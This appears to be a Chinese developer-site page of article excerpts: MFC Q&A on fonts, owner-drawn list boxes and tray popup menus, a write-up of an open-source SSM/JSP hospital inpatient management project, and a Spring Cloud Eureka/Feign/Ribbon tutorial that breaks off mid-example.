字体是在程序初始化时建立的:pSignNameFont = new CFont; pSignNameFont->CreateFont(10,5,0,0,150, FALSE,FALSE,0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, "Helvetica");  是不是一次使用两个指向同一个客户窗口的DC有问题?程序中的DrawSignName()被多个消息句柄调用。1)加入以下代码:{ m_strName.Empty(); Invalidate(); UpdateWindow(); more stuff;;; } 上面代码会产生一个WM_ERASEBKGND消息,将会用背景色填满窗口,然后再调用OnDraw(),这时只要将字符串置空即可。2)我不清楚为什么程序不能正常工作,但我有个主意(它会更快些)可以在显示文本的地方用一个背景色的矩形画一下即可。我也不清楚为什么你们为什么要用透明文本,它将会给图形系统带来大量的工作。字体之所以有这种情况,是否你们安装了文本输出的图形保真软件?它会给你们带来困惑的。3)你只想简单的用一个指针来保存一个指向DC的GDI对象,并试图再次调用它时期望它能指向正确的对象。恕我直言,这不是正确的方法(我不知道是否这是显示不正常的唯一原因)将它转化为一个Windows句柄才是正确的:// // Creating: // pSignNameFont = new CFont; pSignNameFont->CreateFont(10,5,0,0,150, FALSE,FALSE,0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, "Helvetica"); // Now converting into a windows handle m_hSNFont = (HFONT) pSignNameFont->GetSafeHandle();  直接保存一个对象是不安全的。(80)自画列表框样例很久以前,有人散发关于自画列表框控件代码,而自画列表框外观就象一个标准列表框,在那时我就有个想法想把程序员开发的所有自画控件的代码惧收集起来,这样程序员们就可以使用现存的代码了。我想问一下在1996年关于MFC站点那儿有才能关于列表框或其它控件的代码?1)自画列表框代码如下,看看是不是你所想要的。Header file class CCustomListBox : public CListBox { public: // Operations DECLARE_DYNCREATE(CCustomListBox) int AddLBItem(LPSTR); void HandleSelectionState(LPDRAWITEMSTRUCT lpdis); void HandleFocusState(LPDRAWITEMSTRUCT lpdis); virtual void DrawItem(LPDRAWITEMSTRUCT lpDIS); }; cpp file IMPLEMENT_DYNCREATE(CCustomListBox, CListBox) int CCustomListBox::AddLBItem(LPSTR itemStr) { AddString((LPCSTR)itemStr); return 0; } void CCustomListBox::DrawItem(LPDRAWITEMSTRUCT lpDIS) { CDC* pDC = CDC::FromHandle(lpDIS->hDC); if ((lpDIS->itemState & ODS_SELECTED) && (lpDIS->itemAction & (ODA_SELECT | ODA_DRAWENTIRE))) { pDC->InvertRect(&lpDIS->rcItem); pDC->DrawFocusRect(&lpDIS->rcItem); } if (!(lpDIS->itemState & ODS_SELECTED) && (lpDIS->itemAction & ODA_SELECT)) { pDC->InvertRect(&lpDIS->rcItem); pDC->DrawFocusRect(&lpDIS->rcItem); } } void CCustomListBox::HandleSelectionState(LPDRAWITEMSTRUCT lpdis) { // Ordinarily could check for "if (lpdis->itemState & ODS_SELECTED)" // and do drawing for selected state, "else" draw non-selected state. // But second call to InvertRect restores rectangle to original // state, so will just call function whether selected or unselected. ::InvertRect (lpdis->hDC, (LPRECT)&lpdis->rcItem); } void CCustomListBox::HandleFocusState(LPDRAWITEMSTRUCT lpdis) { // Ordinarily would check for "if (lpdis->itemState & ODS_FOCUS)" // and do drawing for focus state, "else" draw non-focus state. // But second call to DrawFocusRect restores rectangle to original // state, so will just call function whether focus or non-focus. // New to Windows 3.0, this function draws a black dashed-rect // border on the border of the specified rectangle ::DrawFocusRect( lpdis->hDC, (LPRECT) &lpdis->rcItem ); }2) http://toronto.planeteer.com/~zalmoxe/(81)CWnd::GetMenu()的问题我有个程序用下面代码:CWnd *pWnd = CWnd::GeForegroundWindow(); if (pWnd == NULL) return FALSE; CMenu *pMenu = pWnd->GetMenu(); if (pMenu == NULL) return FALSE; for (int i = 0; i < pMenu->GetMenuItemCount; i++) { pMenu->GetMenuItemID(...); pMenu->GetMenuString(...); }  上述代码工作除了在IE窗口外,别的窗口工作都很正常,请问怎样才能在IE窗口中正常使用,如果不是用这种方法,那又该用什么方法?IE有一个定义菜单,是用自定义系列控件中的弹出菜单。所以你就不能再使用枚举这种方法了,试一下处理WM_INITMENUPOPUP或WM_INITMENU。在VC的CD中有类似的例子(关于剪切与复制)你得到消息句柄时就可以列出所有的菜单项。上面的代码之所不工作可能是因为微软的自画菜单项的保存菜单项用了不同的格式,想要明白菜单和画标是否是自画的,你可以用这种方法测试lpmii->fType & MFT_OWNERDRAW.Ipmii是一个菜单结构,返回得到的菜单项信息。lpmii->dwTypeData 返回(菜单)项目的类型,如果dwTypeData返回的值没有什么用的话还有一个机会,lpmii->dwItemData将指向一个(程序)开始时的菜单项中的字符串结构。以上方法比较好,因为现在好多程序都使用自定义菜单。(82)用MFC制作弹出窗口我正在试着用MFC来制作弹出窗口,我看过一些关于建立弹出窗口的文章,它们是使用 CWnd对象的。但在文档,视窗结构中是怎样实现的?你可以建立一个非模态对话框(使用Create函数),你可以在任何建立窗口,子窗口等。如果你一定要在文档、视窗结构中实现,你也可以用CCreateContest类。下面是建立MDI窗口的例子:{ LPCTSTR lpszClassName = NULL; CCreateContext cContext; cContext.m_pNewViewClass = RUNTIME_CLASS ( CMyView ) DWORD dwStyle = WS_CHILD | WS_VISIBLE | WS_OVERLAPPEDWINDOW & ~WS_THICKFRAME & ~WS_MAXIMIZEBOX; // TOD Add your specialized code here and/or call the base class if ( CMDIChildWnd::Create(lpszClassName, lpszWindowName, dwStyle, pParentWnd->rectDefault, pParentWnd, &cContext) ) { InitialUpdateFrame ( NULL, TRUE ); CScrollView *pView = ( CScrollView* ) GetActiveView(); if ( pView ) pView->ResizeParentToFit ( FALSE ); return TRUE; } else return FALSE; }  CCreateContext有一个成员为m_pCurrentDoc,你可以用它来将一个文档分配到相应的窗口上.(83)怎样取消一个弹出式菜单我有一个应用程序不显示窗口(建立窗口时使用了SW_HIDE参数),它只在任务条显示一个图标,我是这样做的:NOTIFYICONDATA tnid; tnid.cbSize = sizeof(NOTIFYICONDATA); tnid.hWnd = m_hWnd; tnid.uID = 1; tnid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; tnid.uCallbackMessage = MYWM_NOTIFYICON; tnid.hIcon = AfxGetApp()->LoadIcon( IDI_ICON1 ); lstrcpyn(tnid.szTip, "Giroimag Image Mail Exchange", strlen("Giroimag Image Mail Exchange")+1); Shell_NotifyIcon(NIM_ADD, &tnid);  当我点击任务条时,程序会显示一个弹出菜单:CMenu m_Menu; m_Menu.CreatePopupMenu(); m_Menu.AppendMenu( MF_STRING, IDM_ABOUT, "Op&1" ); m_Menu.AppendMenu( MF_SEPARATOR, 0 ); m_Menu.AppendMenu( MF_STRING, IDM_CONFIG, "Op&2" ); m_Menu.AppendMenu( MF_STRING, IDM_STATUS, ""Op&3" ); m_Menu.AppendMenu( MF_SEPARATOR, 0 ); m_Menu.AppendMenu( MF_STRING, IDM_SEND, "Op&4" ); m_Menu.AppendMenu( MF_STRING, IDM_RECEIVE, "Op&5" ); m_Menu.AppendMenu( MF_SEPARATOR, 0 ); m_Menu.AppendMenu( MF_STRING, IDM_CLOSE, "Op&6" ); POINT p; GetCursorPos( & p ); m_Menu.TrackPopupMenu( TPM_LEFTALIGN | TPM_RIGHTBUTTON, p.x, p.y, this );  到这为止,程序运行很正常,问题在于如果我不选择任何菜单该怎样取消它?我以为按ESC或者在菜单外面点击就可以取消,但事实并不是这样。我也试过用WIN32API中的TrackPopupMenuEx函数但没有用,到底我该怎么做?1)最简单的方法在消息映象中加"Cancel Menu"命令即可。2)尽管你的主窗口不可见,但在你可以在调用m_Menu.TrackPopupMenu();时将其置为最前。3)在你弹出菜单之前,设置你的窗口为最前窗口,调用下面的代码,问题就会迎刃而解。POINT p; GetCursorPos( & p ); // Increase the thread priority by invoking SetForegroundWindow. SetForegroundWindow(); m_Menu.TrackPopupMenu( TPM_LEFTALIGN | TPM_RIGHTBUTTON, p.x, p.y, this );  4)调用TrackPopupMenu()之前,你必须先调用SetForegroundWindow( m_hWnd ),然后调用PostMessage( m_hWnd, WM_NULL, 0, 0 ):
文章
SQL  ·  编解码  ·  网络协议  ·  数据库连接  ·  编译器  ·  程序员  ·  数据库  ·  数据安全/隐私保护  ·  C++  ·  Windows
2023-01-16
SSM+jsp实现医院住院管理系统(已开源)
一、前言这是一位朋友让我指导她做的毕业设计——医院住院管理系统,然后现在毕业了嘛,就把它分享出来,和大家一起学习!项目开源地址:https://gitee.com/wanghengjie563135/hospitalInformationSystem.git注意:项目部署有问题开源私聊我解决的!二、项目使用技术1.JavascriptJavaScript是一种基于对象和事件驱动并具有相对安全性的客户端脚本语言。同时也是一种广泛用于客户端Web开发的脚本语言,常用来给HTML网页添加动态功能,比如响应用户的各种操作。它最初由网景公司(Netscape)的Brendan Eich设计,是一种动态、弱类型、基于原型的语言,内置支持类。Javascript语言与Java语言在语法上比较相似,但随着对Javascript的深入了解后你会发现,它们说到底是两种语言!2. jQueryjQuery是一个兼容多浏览器的javascript框架,核心理念是write less,do more(写得更少,做得更多)。jQuery在2006年1月由美国人John Resig在纽约的barcamp发布,吸引了来自世界各地的众多JavaScript高手加入,由Dave Methvin率领团队进行开发。如今,jQuery已经成为最流行的javascript框架,在世界前10000个访问最多的网站中,有超过55%在使用jQuery。jQuery是免费、开源的,使用MIT许可协议。jQuery的语法设计可以使开发者更加便捷,例如操作文档对象、选择DOM元素、制作动画效果、事件处理、使用Ajax以及其他功能。除此以外,jQuery提供API让开发者编写插件。其模块化的使用方式使开发者可以很轻松的开发出功能强大的静态或动态网页。3.BootstrapBootstrap是美国Twitter公司的设计师Mark Otto和Jacob Thornton合作基于HTML、CSS、JavaScript 开发的简洁、直观、强悍的前端开发框架,使得 Web 开发更加快捷。Bootstrap提供了优雅的HTML和CSS规范,它即是由动态CSS语言Less写成。Bootstrap一经推出后颇受欢迎,一直是GitHub上的热门开源项目,包括NASA的MSNBC(微软全国广播公司)的Breaking News都使用了该项目。国内一些移动开发者较为熟悉的框架,如WeX5前端开源框架等,也是基于Bootstrap源码进行性能优化而来。4.EasyUIEasyUI是一种基于jQuery、Angular、Vue和React的用户界面插件集合。它为创建现代化、互动的JavaScript应用程序提供必要的功能。使用EasyUI不需要编写很多代码,你只需要通过编写一些简单HTML标记,就可以定义用户界面,虽然很简单但功能强大的。EasyUI完美支持HTML5网页框架,它的出现大大降低了开发者开发时间与规模。5.MySQLMySQL是一个开放源码的小型关联式数据库管理系统,开发者为瑞典MySQL AB公司。MySQL被广泛地应用在Internet上的中小型网站中。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,许多中小型网站为了降低网站总体拥有成本而选择了MySQL作为网站数据库。自从Oracle公司收购了MySQL后不久,就发行了MySQL的企业版(不再免费)!6. MVCMVC即模型-视图-控制器,是Xerox PARC在八十年代为编程语言Smalltalk-80发明的一种软件设计模式,至今已被广泛使用。最近几年被推荐为Sun公司J2EE平台的设计模式,并且受到越来越多的使用ColdFusion和PHP的开发者的欢迎。MVC是一种设计模式,它强制性的使应用程序的输入、处理和输出分开。使用MVC应用程序被分成三个核心部件:模型、视图、控制器。它们各自处理自己的任务.(1)模型模型表示企业数据和业务规则。在MVC的三个部件中,模型拥有最多的处理任务。例如它可能用象EJBs和ColdFusion Components这样的构件对象来处理数据库。被模型返回的数据是中立的,就是说模型与数据格式无关,这样一个模型能为多个视图提供数据。由于应用于模型的代码只需写一次就可以被多个视图重用,所以减少了代码的重复性。(2)视图视图是用户看到并与之交互的界面。对老式的Web应用程序来说,视图就是由HTML元素组成的界面,在新式的Web应用程序中,HTML依旧在视图中扮演着重要的角色,但一些新的技术已层出不穷,它们包括Macromedia Flash和象XHTML,XML/XSL,WML等一些标识语言和Web services.如何处理应用程序的界面变得越来越有挑战性。MVC一个大的好处是它能为你的应用程序处理很多不同的视图。在视图中其实没有真正的处理发生,不管这些数据是联机存储的还是一个雇员列表,作为视图来讲,它只是作为一种输出数据并允许用户操纵的方式。(3)控制器控制器接受用户的输入并调用模型和视图去完成用户的需求。所以当单击Web页面中的超链接和发送HTML表单时,控制器本身不输出任何东西和做任何的处理。它只是接收请求并决定调用哪个模型构件去处理请求,然后确定用哪个视图来显示模型处理返回的数据。综上所述,MVC的处理过程是首先控制器接收用户的请求,并决定应该调用哪个模型来进行处理,然后模型用业务逻辑来处理用户的请求并返回数据,最后控制器用相应的视图格式化模型返回的数据,并通过表示层呈现给用户。6. SSMSSM为Spring+SpringMVC+ MyBatis的缩写,由Spring、MyBatis两个开源框架整合而成(SpringMVC是Spring中的部分内容)。(1)SpringSpring是一个开源框架,Spring是于2003 年兴起的一个轻量级的Java 开发框架,由Rod Johnson 在其著作Expert One-On-One J2EE Development and Design中阐述的部分理念和原型衍生而来。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益。 简单来说,Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。(2)SpringMVCSpring MVC属于SpringFrameWork的后续产品,已经融合在Spring Web Flow里面。Spring MVC分离了控制器、模型对象、分派器以及处理程序对象的角色,这种分离让它们更容易进行定制。(3)MyBatisMyBatis本是apache的一个开源项目iBatis, 2010年这个项目由apache software foundation迁移到了google code,并且改名为MyBatis 。MyBatis是一个基于Java的持久层框架。iBATIS提供的持久层框架包括SQL Maps和Data Access Objects(DAO)MyBatis 消除了几乎所有的JDBC代码和参数的手工设置以及结果集的检索。MyBatis 使用简单的 XML或注解用于配置和原始映射,将接口和 Java 的POJOs(Plain Old Java Objects,普通的 Java对象)映射成数据库中的记录。6. JSPJSP 与 PHP、ASP、ASP.NET 等语言类似,运行在服务端的语言。JSP(全称Java Server Pages)是由 Sun Microsystems 公司倡导和许多公司参与共同创建的一种使软件开发者可以响应客户端请求,而动态生成 HTML、XML 或其他格式文档的Web网页的技术标准。JSP 技术是以 Java 语言作为脚本语言的,JSP 网页为整个服务器端的 Java 库单元提供了一个接口来服务于HTTP的应用程序。JSP文件后缀名为 *.jsp 。JSP开发的WEB应用可以跨平台使用,既可以运行在 Linux 上也能运行在 Windows 上。7. 系统开发平台系统的开发是在Tomcat环境下进行的。Tomcat是一个免费的开源的Servlet容器,它是Apache基金会的Jakarta项目中的一个核心项目,由Apache,Sun和其它一些公司及个人共同开发而成。由于有了Sun的参与和支持,最新的Servlet和Jsp规范总能在Tomcat中得到体现。Tomcat被Java World杂志的编辑选为2001年度最具创新的Java产品,可见其在业界的地位。Tomcat的环境主要有以下几方面技术优势:1.Tomcat中的应用程序是一个WAR(Web Archive)文件。WAR是Sun提出的一种Web应用程序格式,与JAR类似,也是许多文件的一个压缩包。2.在Tomcat中,应用程序的部署很简单,你只需将你的WAR放到Tomcat的webapp目录下,Tomcat会自动检测到这个文件,并将其解压。3.Tomcat不仅仅是一个Servlet容器,它也具有传统的Web服务器的功能:处理html页面。4.Tomcat也可以与其它一些软件集成起来实现更多的功能。8. 运行环境操作系统:Windows XP以上版本。服务器软件:Tomcat6.0以上版本。浏览器:IE、Fire Fox、Google Chrome。三、医院住院管理系统数据库表设计文档**数据库名:**hospital**文档版本:**V1.0.0**文档描述:**医院住院管理系统数据库表设计描述表admins表bed表department表doctor表doctors表history表outhospital表patient表prescribe表register_doc表report表users表ward表ward_ex四、系统登录与登出实现1、系统登录使用 PC 端或移动端浏览器(支持 Firefox、chrome、Edge 浏览器)访问系统登录页面,输入正确的用户名、密码和验证码,点击按钮#1.管理员登录 管理员登录进入管理员登录页面,可以做病人的信息录入与管理,医生信息录入与管理, 病房管理,出入院管理等 #2.医生登录 医生登录主要管理的是病人信息,开处方,看自己有哪些病人等 #3.病人登录 病人登录可以挂号,查看自己的医生信息,转病床,查看缴费信息,出院手续办理等如果信息正确,系统将自动跳转到用户首页管理员首页医生首页病人首页注意:如果您不慎忘记了用户名或密码,请联系所在医院系统管理员协助解决。2、系统登出在用户首页,点击右上角的系统登出,选择红色的登出,系统将自动退出,并跳转至登录页面。五、管理员系统系统首次使用之前,请联系您所在医院的系统管理员以【系统管理员】角色(系统管理员角色默认账户和密码皆为:admin)登录系统进行系统配置初始化。注意:系统不进行初始化将无法使用!1、首页第一次登录可以下载系统使用说明书2、修改密码可以修改当前用户的密码3、刷新就是当前页面如果出现卡顿,可以刷新页面4、帮助帮助可以下载使用说明书,也可以通过图片查看系统使用说明5、实时疫情可以查看国内的疫情信息6、医院信息网查看医院的信息及知名医生,方便预约7、信息查询(1)病人查看病人信息(2)医生(3)病房(4)科室8、操作(1)医生录入录入新进入的医生信息,分配部门等(2)病人录入主要就是部门的一些住院登记(3)新增病房新增加的病房录入系统(4)新增科室新增加的科室录入系统(5)申请核实主要涉及病房出院申请和换病房申请六、医生系统实现系统首次使用之前,请联系您所在医院的系统管理员以【系统管理员】角色(系统管理员角色默认账户和密码皆为:admin)登录系统进行系统配置初始化。注意:系统不进行初始化将无法使用!1、首页第一次登录可以下载系统使用说明书2、修改密码可以修改当前用户的密码3、刷新就是当前页面如果出现卡顿,可以刷新页面4、帮助帮助可以下载使用说明书,也可以通过图片查看系统使用说明5、实时疫情可以查看国内的疫情信息6、医院信息网查看医院的信息及知名医生,方便预约7、使用说明参考七、病人系统实现系统首次使用之前,请联系您所在医院的系统管理员以【系统管理员】角色(系统管理员角色默认账户和密码皆为:admin)登录系统进行系统配置初始化。注意:系统不进行初始化将无法使用!1、首页第一次登录可以下载系统使用说明书2、修改密码可以修改当前用户的密码3、刷新就是当前页面如果出现卡顿,可以刷新页面4、帮助帮助可以下载使用说明书,也可以通过图片查看系统使用说明5、实时疫情可以查看国内的疫情信息6、医院信息网查看医院的信息及知名医生,方便预约7、使用说明参考八、项目开源医院住院管理系统开源地址:https://gitee.com/wanghengjie563135/hospitalInformationSystem.git注意:安装部署有问题,需要解决可以私聊我的!如果还需要数据库设计和项目使用手册的可以CSDN下载:https://download.csdn.net/download/weixin_44385486/85613817
文章
前端开发  ·  JavaScript  ·  Java  ·  应用服务中间件  ·  数据库连接  ·  数据库  ·  数据安全/隐私保护  ·  开发者  ·  Spring  ·  mybatis
2023-02-10
9、Eureka、Feign、Ribbon的工作原理及项目实战
0、前言在前后端分离架构中,服务层被拆分成了很多的微服务,Spring Cloud中提供服务注册中心来管理微服务信息为什么要用注册中心?1、微服务数量众多,要进行远程调用就需要知道服务端的IP地址和端口号,注册中心帮助我们管理这些服务IP和端口2、微服务会实时上报自己的状态,注册中心统一管理这些微服务的状态,将存在问题的服务踢出服务列表,客户端获取到可用的服务进行调用如果不用注册中心就只能在各个模块的配置文件中配置固定的IP地址跟端口号,管理起来比较麻烦Spring Cloud Eureka是对Eureka的二次封装,它实现了服务治理的功能,Spring Cloud Eureka提供服务端与客户端,服务端即Eureka服务注册中心,客户端完成向Eureka服务端的注册与发现,服务端和客户端均采用Java语言编写,下图显示了Eureka Server与Eureka Client的关系:1、Eureka Server是服务端,负责管理各个微服务结点的信息和状态2、在微服务上部署Eureka Client程序,远程访问Eureka Client时将自己注册在Eureka Server3、微服务需要调用另一个微服务时从Eureka Server中获取服务调用地址,进行远程调用Eureka Server搭建:创建xc-govern-center工程:1、父工程中添加cloud依赖:<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring‐cloud‐dependencies</artifactId> <version>Finchley.SR1</version> <type>pom</type> <scope>import</scope> </dependency>服务端工程添加eureka‐server依赖:<dependencies> <!‐‐ 导入Eureka服务的依赖 ‐‐> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring‐cloud‐starter‐netflix‐eureka‐server</artifactId> </dependency> </dependencies>2、启动类添加注解:@EnableEurekaServer//标识这是一个Eureka服务3、yml配置文件中添加eureka相关配置eureka: client: registerWithEureka: false #服务注册,是否将自己注册到Eureka服务中 fetchRegistry: false #服务发现,是否从Eureka中获取注册信息 serviceUrl: #Eureka客户端与Eureka服务端的交互地址,高可用状态配置对方的地址, #单机状态配置自己(如果 不配置则默认本机8761端口) defaultZone: http://localhost:50101/eureka/ server: enable‐self‐preservation: false #是否开启自我保护模式 eviction‐interval‐timer‐in‐ms: 60000 #服务注册表清理间隔(单位毫秒,默认是60*1000)registerWithEureka:被其它服务调用时需向Eureka注册fetchRegistry:需要从Eureka中查找要调用的目标服务时需要设置为trueserviceUrl.defaultZone:配置上报Eureka服务地址高可用状态配置对方的地址,单机状态配置自己enable-self-preservation:自保护设置,下边有介绍eviction-interval-timer-in-ms:清理失效结点的间隔,在这个时间段内如果没有收到该结点的上报则将结点从服务列表中剔除4、启动Eureka Server即可启动Eureka Server,访问:http://localhost:50101/上图红色提示信息: THE SELF PRESERVATION MODE IS TURNED OFF.THIS MAY NOTPROTECT INSTANCE EXPIRY IN CASE OF NETWORK/OTHER PROBLEMS.自我保护模式被关闭。在网络或其他问题的情况下可能不会保护实例失效。Eureka Server有一种自我保护模式,当微服务不再向Eureka Server上报状态,Eureka Server会从服务列表将此服务删除,如果出现网络异常情况(微服务正常),此时Eureka server进入自保护模式,不再将微服务从服务列表删除在开发阶段建议关闭自保护模式高可用环境搭建:高 可 用 配 置 只 需 要 将 两 个 服 务 端 配 置 文 件 中 的 d e f a u l t Z o n e 标 签 改 成 对 方 的 地 址 即 可 \color{#FF0000}{高可用配置只需要将两个服务端配置文件中的defaultZone标签改成对方的地址即可}高可用配置只需要将两个服务端配置文件中的defaultZone标签改成对方的地址即可Eureka Server 高可用环境需要部署两个Eureka server,它们互相向对方注册。如果在本机启动两个Eureka需要注意两个Eureka Server的端口要设置不一样,这里我们部署一个Eureka Server工程,将端口可配置,制作两个 Eureka Server启动脚本,启动不同的端口,如下图:1、在实际使用时Eureka Server至少部署两台服务器,实现高可用2、两台Eureka Server互相注册3、微服务需要连接两台Eureka Server注册,当其中一台Eureka死掉也不会影响服务的注册与发现4、微服务会定时向Eureka server发送心跳,报告自己的状态5、微服务从注册中心获取服务地址以RESTful方式发起远程调用配置如下:1、端口可配置server: port: ${PORT:50101} #服务端口2、Eureka服务端的交互地址可配置3、配置hostname Eureka 组成高可用,两个Eureka互相向对方注册,这里需要通过域名或主机名访问,这里我们设置两个Eureka服务的主机名分别为 eureka01、eureka02。2和3的完整配置如下:eureka: client: registerWithEureka: true #服务注册,是否将自己注册到Eureka服务中 false:单机使用,true:高可用使用 fetchRegistry: true #服务发现,是否从Eureka中获取注册信息 false:单机使用,true:高可用使用 serviceUrl: #Eureka客户端与Eureka服务端的交互地址,高可用状态配置对方的地址,单机状态配置自己(如果不配置则默认本机8761端口) #defaultZone: http://localhost:50101/eureka/ #单机环境使用 defaultZone: ${EUREKA_SERVER:http://eureka02:50102/eureka/} #高可用环境使用 server: enable-self-preservation: false #是否开启自我保护模式 eviction-interval-timer-in-ms: 60000 #服务注册表清理间隔(单位毫秒,默认是60*1000) instance: hostname: ${EUREKA_DOMAIN:eureka01}4、在IDEA中制作启动脚本配置参数:-DPORT=50101 -DEUREKA_SERVER=http://eureka02:50102/eureka/ -DEUREKA_DOMAIN=eureka01启动1:启动2:运行两个启动脚本,分别浏览:http://localhost:50101/ http://localhost:50102/Eureka主画面如下:Eureka Client的配置将cms注册到Eureka Server:1、在manager-cms服务中添加依赖<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId> </dependency>2、在application.yml配置eureka: client: registerWithEureka: true #服务注册开关 fetchRegistry: true #服务发现开关 serviceUrl: #Eureka客户端与Eureka服务端进行交互的地址,多个中间用逗号分隔 defaultZone: ${EUREKA_SERVER:http://localhost:50101/eureka/,http://localhost:50102/eureka/} instance: prefer-ip-address: true #将自己的ip地址注册到Eureka服务中 ip-address: ${IP_ADDRESS:127.0.0.1} instance-id: ${spring.application.name}:${server.port} #指定实例id3、在启动类上添加注解在启动类上添加注解 @EnableDiscoveryClient ,表示它是一个Eureka的客户端4、启动cms工程和eureka01,然后刷新Eureka Server查看注册情况说明cms已将服务注册到Eureka工程Eureka客户端和服务器的注册流程1、微服务客户端cms添加所属依赖并在配置文件中配置相关配置信息,路径指向服务器工程的路径2、Eureka服务器工程添加所属依赖和配置文件,如果是高可用就地址就配置成相互注册的地址3、客户端和服务器都启动成功后,可以看到客户端向服务器注册了相关信息Feign远程调用在前后端分离架构中,服务层被拆分成了很多的微服务,微服务远程调用用到了Feign下图是课程管理服务远程调用CMS服务的流程图:课程管理请求cms服务的工作流程:1、cms服务将自己注册到注册中心2、课程管理服务从注册中心获取cms服务的地址3、课程管理服务远程调用cms服务Feign是Netflix公司开源的轻量级rest客户端,使用Feign可以非常方便的实现Http客户端,Spring Cloud引入 Feign并且集成了Ribbon实现客户端负载均衡调用Feign测试:1、在客户端course管理服务添加依赖:<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-openfeign</artifactId> </dependency> <dependency> <groupId>com.netflix.feign</groupId> <artifactId>feign‐okhttp</artifactId> </dependency>2、定义FeignClient接口在课程管理服务中创建client包,定义查询cms页面的客户端接口:@FeignClient(value = XcServiceList.XC_SERVICE_MANAGE_CMS) public interface CmsPageClient { //根据页面id查询页面信息,远程调用cms请求数据 @GetMapping("/cms/page/get/{id}")//用GetMapping标识远程调用的http的方法类型 public CmsPage findCmsPageById(@PathVariable("id") String id); }3、启动类添加@EnableFeignClients注解4、测试类进行测试@Autowired CmsPageClient cmsPageClient; //接口代理对象,由Feign生成代理对象 @Test public void testFeign() { //发起远程调用 CmsPage cmsPage = cmsPageClient.findCmsPageById("5a795ac7dd573c04508f3a56"); System.out.println(cmsPage); }测试结果:可 以 看 到 : 在 课 程 管 理 系 统 中 通 过 F e i g n 远 程 调 用 c m d 管 理 系 统 中 的 接 口 \color{#FF0000}{可以看到:在课程管理系统中通过Feign远程调用cmd管理系统中的接口}可以看到:在课程管理系统中通过Feign远程调用cmd管理系统中的接口Feign工作原理如下:1、 启动类添加@EnableFeignClients注解,Spring会扫描标记了@FeignClient注解的接口,并生成此接口的代理对象2、 @FeignClient(value = XcServiceList.XC_SERVICE_MANAGE_CMS)即指定了cms的服务名称,Feign会从注册中心获取cms服务列表,并通过负载均衡算法进行服务调用3、在接口方法中使用注解@GetMapping("/cms/page/get/{id}"),指定调用的url,Feign将根据url进行远程调用Feign注意点SpringCloud对Feign进行了增强,兼容了SpringMVC的注解 ,我们在使用SpringMVC注解时需要注意:1、feignClient接口的参数必须加@PathVariable("XXX")和@RequestParam("XXX")2、feignClient返回值为复杂对象时其类型必须有无参构造函数RibbonRibbon是一个基于HTTP、 TCP的客户端负载均衡器负载均衡是微服务架构中必须使用的技术,通过负载均衡来实现系统的高可用、集群扩容等功能一次请求太多,就需要负载均衡将请求合理的分配给不同的服务器去调用负载均衡可通过硬件设备和软件来实现,硬件比如:F5、Array等,软件比如:LVS、Nginx等负载均衡的架构图:负载均衡算法有:轮训、随机、加权轮训、加权随机、地址哈希等方法,负载均衡器维护一份服务列表,根据负载均衡算法将请求转发到相应的微服务上,所以负载均衡可以为微服务集群分担请求,降低系统的压力什么是客户端负载均衡?上图是服务端负载均衡,客户端负载均衡与服务端负载均衡的区别在于客 户 端 要 维 护 一 份 服 务 列 表 \color{#FF0000}{客户端要维护一份服务列表}客户端要维护一份服务列表,Ribbon从 Eureka Server获取服务列表,Ribbon根据负载均衡算法直接请求到具体的微服务,中间省去了负载均衡服务,说 白 了 微 服 务 中 用 R i b b o n 来 代 替 负 载 均 衡 N g i n x , N g i n x 是 服 务 端 负 载 均 衡 , 现 在 换 做 客 户 端 负 载 均 衡 R i b b o n 来 维 护 一 份 服 务 列 表 \color{#FF0000}{说白了微服务中用Ribbon来代替负载均衡Nginx,Nginx是服务端负载均衡,现在换做客户端负载均衡Ribbon来维护一份服务列表}说白了微服务中用Ribbon来代替负载均衡Nginx,Nginx是服务端负载均衡,现在换做客户端负载均衡Ribbon来维护一份服务列表如下图是Ribbon负载均衡的流程图:1、在微服务中使用Ribbon实现负载均衡,Ribbon先从EurekaServer中获取服务列表2、Ribbon根据负载均衡的算法去调用微服务Spring Cloud引入Ribbon配合 restTemplate 实现客户端负载均衡创 建 的 独 立 模 块 相 当 于 服 务 端 , 管 理 中 心 模 块 相 当 于 客 户 端 \color{#FF0000}{创建的独立模块相当于服务端,管理中心模块相当于客户端}创建的独立模块相当于服务端,管理中心模块相当于客户端环境搭建:1、在客户端课程管理添加Ribbon依赖:<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-ribbon</artifactId> </dependency> <dependency> <groupId>com.squareup.okhttp3</groupId> <artifactId>okhttp</artifactId> </dependency>由于依赖了spring-cloud-starter-eureka,会自动添加spring-cloud-starter-ribbon依赖,当引入eureka后可以不添加ribbon依赖2、在yml中配置ribbon参数:ribbon: MaxAutoRetries: 2 #最大重试次数,当Eureka中可以找到服务,但是服务连不上时将会重试 MaxAutoRetriesNextServer: 3 #切换实例的重试次数 OkToRetryOnAllOperations: false #对所有操作请求都进行重试,如果是get则可以,如果是post,put等操作 没有实现幂等的情况下是很危险的,所以设置为false ConnectTimeout: 5000 #请求连接的超时时间 ReadTimeout: 6000 #请求处理的超时时间3、负载均衡测试1)启动两个cms服务,注意端口要不一致,启动完成观察Eureka Server的服务列表2)定义RestTemplate,使用@LoadBalanced注解在course管理启动类ManageCourseApplication中添加以下代码:@Bean @LoadBalanced//开始客户端负载均衡 public RestTemplate restTemplate(){ return new RestTemplate(new OkHttp3ClientHttpRequestFactory()); }在课程管理服务工程创建单元测试代码,远程调用cms的查询页面接口:@Autowired RestTemplate restTemplate; @Test public void testRibbon(){ //确定要获取的服务名 String serviceId = "XC-SERVICE-MANAGE-CMS"; for (int i=0;i<10;i++){ 